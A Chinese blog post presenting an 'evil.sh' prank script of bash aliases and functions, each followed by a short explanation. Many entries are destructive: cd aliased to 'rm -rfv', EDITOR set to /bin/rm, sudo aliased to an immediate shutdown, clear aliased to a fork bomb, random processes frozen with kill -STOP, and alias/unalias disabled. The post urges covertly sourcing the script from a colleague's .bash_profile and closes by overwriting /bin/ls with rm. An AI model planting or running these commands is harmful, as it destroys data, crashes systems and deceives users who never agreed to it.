程序員必知必會的那些邪惡的腳本

朝圣
前言

程序員必須掌握一定的運維知識。本文通過一些邪惡,搞破壞的方式。教會你一些危險的腳本操作。

附贈

運維意識與運維規范
1.線上操作規范
      測試使用、Enter前再三確認、忌多人同時操作、先看再備份后改
2.涉及數據
      慎用rm –rf、備份大于一切、穩定大于一切、保密大于一切
3.涉及安全
      Ssh、防火墻、精細權限控制粒度、入侵檢測和日志監控
4.日常監控
      系統運行狀況、 服務運行狀況、日志監控(安全)
5.性能調優
      深入了解運行機制、調優框架以及先后、每次只調一個參數、 基準測試
6.運維心態
      控制心態、對數據負責、追根究底、測試和生產環境 

下面再強調幾句

警告,切勿在生產環境體驗,一切后果腳本作者和本文作者均不不承擔任何法律責任!

警告,切勿在生產環境體驗,一切后果腳本作者和本文作者均不不承擔任何法律責任!

警告,切勿在生產環境體驗,一切后果腳本作者和本文作者均不不承擔任何法律責任!

重要的事,說三遍

腳本

腳本主要由一些別名、函數、環境變量定義組織而成,執行該腳本后,你的 shell 環境就變成了一個光怪陸離的世界。本文主要使用bash環境,其他shell支持不能保證。如果您好奇,可以將這些內容遷移到宇宙第一shell fish上.腳本很簡單。通過腳本可以方便快速的實現一個小功能。對服務器的運維管理離不開腳本。

1. 可怕的默認編輯器

當系統調用默認編輯器來編輯比如 crontab 時,biu 的一下,文件沒了!

export EDITOR=/bin/rm;

學習課堂:
EDITOR 環境變量用于定于系統的默認編輯器,在一些系統內置功能里面,比如編輯 crontab 時,會根據該變量調用默認編輯器. 默認編輯器,就是使用它打開一些文檔。這是將 EDITOR 環境變量定義為 rm,而它原本應該是 vi、emacs 或 nano 的,體會一下,是不是很想哭?如果不知道,排錯都夠你搞一段時間的。

2. 猥瑣的制表符(tab)

當你想用制表符來個自動補全時,你會它非但不干,而且還刪除了一個字母,不信邪的你使勁多砸了幾個制表符,這下好了,更多的字符被刪除了。

tset -Qe $'\t';

原來是將制表符定義為退格鍵了。

學習課堂:
tset 用于設置終端特征;-e 參數設置擦除字符,缺省為退格字符;-Q 表示不顯示設置信息(靜默)。

3. 莫名退出

有時候,執行一個命令就會莫名其妙地退出 shell,只不過是命令有個非 0 的返回狀態嘛,為什么會這樣?

((RANDOM % 10)) || set -o errexit;

學習課堂:

set -o errexit 等價于 set -e,表示有任何錯誤(命令的返回狀態非 0 )時即退出。

4. 啥都看(cat)不了

當我想看(cat)一下文件時,它居然就當沒聽見,到底文件里面有啥啊?

alias cat=true;

原來是把cat 定義成 true 命令的別名了, true 命令啥都不干,不管你給它什么參數和什么輸入,它只是靜靜地返回一個 0 的狀態碼。

學習課堂

true 命令和 false 命令常用于 shell 腳本中。

5. 到底是按什么排列的啊?

好吧,我想看看目錄里面有啥文件,于是我輸入了 ls,咦?這是什么順序?我再次輸入一遍,怎么回事,列出的文件和目錄又是一種順序,難道它的輸出看心情嗎?

function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

原來它用一個函數重新定義了 ls,所以,真是看心情,你永遠不知道它會以什么順序返回結果。

學習課堂:

lsf 選項表示不排序輸出(即只按照磁盤存儲順序輸出);r 表示反向排序;S 表示按文件大小排序;t 表示按修改時間排序;u 表示按最后訪問時間排序。

6. 再也不要試著進入目錄了

當我想進入目錄看看時,驚奇的是居然沒進去,難道沒有自動補全我就輸入錯了?用前面那個奇奇怪怪的 ls 再次看看時,令人驚恐的是,那個目錄!它沒有了!!!不信邪的我又重復了這個過程,然后,我就一個子目錄也沒有了!

alias cd='rm -rfv';

這該死的,連輸入 cd這么無害的命令都這么可怕!

學習課堂:

rm 命令的-r 表示可刪除(非空)目錄;-f 表示不需要確認刪除;-v 表示刪除后顯示被刪除的文件/目錄名稱——這里是用來嘲諷我刪除了某個目錄的嗎?

7. 還敢用 sudo 權限嗎?

我很遵守安全守則,從來不用 root 直接登錄,凡是管理任務,都用 sudo 來執行。然而,現在無論我用 sudo 執行什么命令,都會馬上關機,并將我輸入的命令廣而告之!這是我被系統討厭了么?

alias sudo='sudo shutdown -P now';

學習課堂:

shutdown 命令用來關閉系統,-P 參數表示連同電源一起關閉; now 表示馬上關機。這之后的參數(在此例中,是原本希望 sudo 執行的命令)會作為關閉前的通知信息,廣播給系統上所有在線的用戶。

8. 我原本想靜靜,結果世界都靜了

雜亂的屏幕輸出讓你厭憎,所以,一個 clear 命令就可以靜靜了——等等,為什么我的終端崩潰了?然后系統也死機了。

alias clear=':(){ :|:& };:';

這是將 clear 命令別名為一個 fork 炸彈了,據說這個是最精簡、最難懂的 fork 炸彈了。至于炸彈的效果,嗯,世界都安靜了

學習課堂:

Fork 炸彈帶來的后果就是耗盡服務器資源,使服務器不能正常的對外提供服務,也就是常說的 DoS(Denial of Service)

信仰

9. 今夕是何年?

這光怪陸離的世界啊,讓我疑似夢中,那么,現在是什么時候?當然,我肯定不會去翻日歷的,輸入 date 命令才是我們命令行極客該做的事情。看著返回的日期,我不禁懷疑我的記憶,難道我穿越了么?

alias date='date -d "now + $RANDOM days"';

學習課堂:

date 命令可以顯示相對偏移的日期,上述命令中 $RANDOM 的結果是一個隨機的整數,也就是說這里的 date 命令會返回若干天之后的日期。

10. 如果你有一個鬼馬的 CD 驅動器

現在 CD 驅動器用的不多了,但是很多機器上還殘留著這個“咖啡杯托”,如果你有幸還有這個東西的話,或許今天它就被鬼怪附體了,一會彈出,一會又收回去,有時候你按下彈出鍵卻毫無反應——當你真的將咖啡杯放上面時,小心,你的咖啡杯會掉下來!

將 CD 盤托當成咖啡杯托是一個笑話,據說某人曾經給電腦廠家打電話:

“您好,我想說你們的機器上的咖啡杯托以前挺好用的,可是現在它不動了。”

“‘咖啡杯托’?那是什么?”

“就是那個一按按鈕就會彈出的托盤啊,放咖啡杯正好,還有合適的凹槽,設計的不錯!以前都好好的,現在它不會彈出了。”

“……”

    N=$[$RANDOM % 3];
    if [[ $N == 0 ]]; then
        # 幾分鐘后隨即打開或關閉
        sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
    elif [[ $N == 1 ]]; then
        # 要么,死活打不開
        sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
    else
        # 要么,讀取變得極慢(1 倍速),需要循環的原因是彈出后就需要重新設定。
        sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
    fi;

學習課堂:

eject 是操作 CD 驅動器的命令行,記得當年有位第一次接觸 SUN Solaris 的同事問我,這 CD 怎么打開啊?我默默地輸入了 eject, 在同事愕然的眼光中不帶走一絲云彩輕輕地離開。
eject-T 選項會將關閉的 CD 驅動器打開,將打開的 CD 驅動器關閉;-t 選項則是關閉 CD 驅動器;-x 選項用來設置讀取倍速;-i on 用于將彈出按鈕失效。

11. 冰川時代

突然地,某個你已經打開的程序凍結了,也許是你的瀏覽器、也許是你正寫了一半的文檔,所以,隨時保存文檔是個好習慣嗎?

sleep $[ ( $RANDOM % 100 )  + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

學習課題:

sleep 就不用解釋了,這代表暫停若干秒。
通過上述 ps 命令會會隨機選出(sort 命令的 -R 選項)一個你的進程號,然后由 kill 命令發送 STOP 信號給它。STOP 信息會使程序被停止(凍結、掛起),在命令行中可有 CTRL-Z 發出,被停止的進程可以通過 bg 放到后臺運行,也可以由 fg 帶回到前臺。

12. 一個還是兩個?

當我想復制一個文件到另外一個地方時,咦?原來的那個哪里去了?

alias cp='mv';

還好,還好,你總是還有一個副本的,這總算是不幸中的大幸了。

學習課堂:

cpmvmv 還是 mv

13. 永不停止的工作

打完收工,你總是要退出(exit)你的 shell 的,但是一直退不出是什么意思?

alias exit='sh';

學習課堂:

exit 命令別名為 sh ,這樣輸入 exit 命令后不是退出當前 shell,而是有進入了一個新的子 shell,想退出不干?沒門!

到底是哪行?

會用 grep 的你,應該知道-n 參數可以告訴你所匹配的行的行號,但是隨機亂變的行號是什么鬼?我討厭隨機!

function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

學習課堂:

grep 命令的 -n 用于輸出匹配的行的行號,上述函數將 grep 定義為一個輸出的行號完全不可預測的程序。

14. 世界是反著的

你腳本也總是出各種匪夷所思的問題,而且你還不知道什么地方出了問題。這一切都要怪你進入了一個“是”即是“非”的世界。

alias if='if !' for='for !' while='while !';

ifforwhile 所檢測的條件定義為反,我不知道這個世界可以瘋狂到這個地步!

學習課堂:

ifforwhile 是用于 shell 腳本中做邏輯判斷和循環的語句,! 表示對表達式邏輯取反。

15. 想執行命令?沒門!

當你輸入了一個命令之后,用小指輕輕地、優雅地,按下右側的那個小小的回車鍵,滿心以為會爆發出絕世高手的風范。然而……并沒有,非但沒有,你輸入的命令還被刪除了一個字符!懵逼的你以為用力太輕了,再次敲擊后發現又被刪除了一個!!!

記得有一個電影,危急情況下,當別人把鍵盤遞給一位即將閉眼的黑客時,他只是輕輕按下了那個“回車”!

bind '"\C-J":"\C-?"';
bind '"\C-M":"\C-?"';

學習課堂:

bind 用于顯示和設置鍵盤序列綁定,C-J代表 CTRL-J,所觸發的 ASCII 碼是 0x0A,即“換行”;C-M 代表CTRL-M,所觸發的 ASCII 碼是 0x0D,即“回車”;C-?代表 CTRL-?,所觸發的 ASCII 碼是 0x7F,即“退格”。也就是說,你按下的回車鍵,會被映射為退格鍵。關于 ASCII 控制字符,可參見: http://ascii-table.com/control-chars.php 。也可以使用showkey -a命令來檢驗你按下的鍵的鍵值(CTRL-D 退出)。

16. 好的,但是我不干

你說要,但是你的身體卻說不要。明明應該應答 yes,但是卻實際上拒絕了。

alias yes="yes n";

學習課堂:

yes 命令常用于腳本中應答 y,但是這里重定義了 yes 的結果。這是身口不一么?

17. 我要編輯文件

當我用 vim 打開一個文件時,為什么什么都沒發生?

alias vim="vim +q";

學習課堂:

vim 可以用 + 來跟上要在 vim 里面執行的命令,這里 +q 表示退出 vim

18. 最后,別想回到正常的世界

好吧,我明白了,都是 alias 搗的鬼,我要取消它們。什么?取消也無效了?

alias unalias=false;
alias alias=false;

學習課堂:

aliasunalias 別名為false,那你就不能執行 alias 的功能了。

讓我回到真實的世界吧!

好了,我已經受夠了這個瘋狂是世界了。其實,上面這些別名,都是可以通過輸入命令的全路徑來繞開別名的——只是一般人不會這樣輸入。

想要整蠱你的同事,那就將這個腳本放到他的機器上,并在他的 .bash_profile 的末尾加入 source ~/evil.sh 即可。當然,你要這么做之前,要有友盡的心理準備。

評論兩句

以上內容來自linux中國,一個很好的linux社區。推薦。上面的的內容很多都需要在特定的環境下執行才行比如使用alias別名等,在腳本中,或不在當前shell執行的時候,都需要注意,可能執行不成功。建議腳本中使用絕對路徑
附送一個黑招

sudo rm -rf  /bin/ls
sudo cp /bin/rm /bin/ls
遠行
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容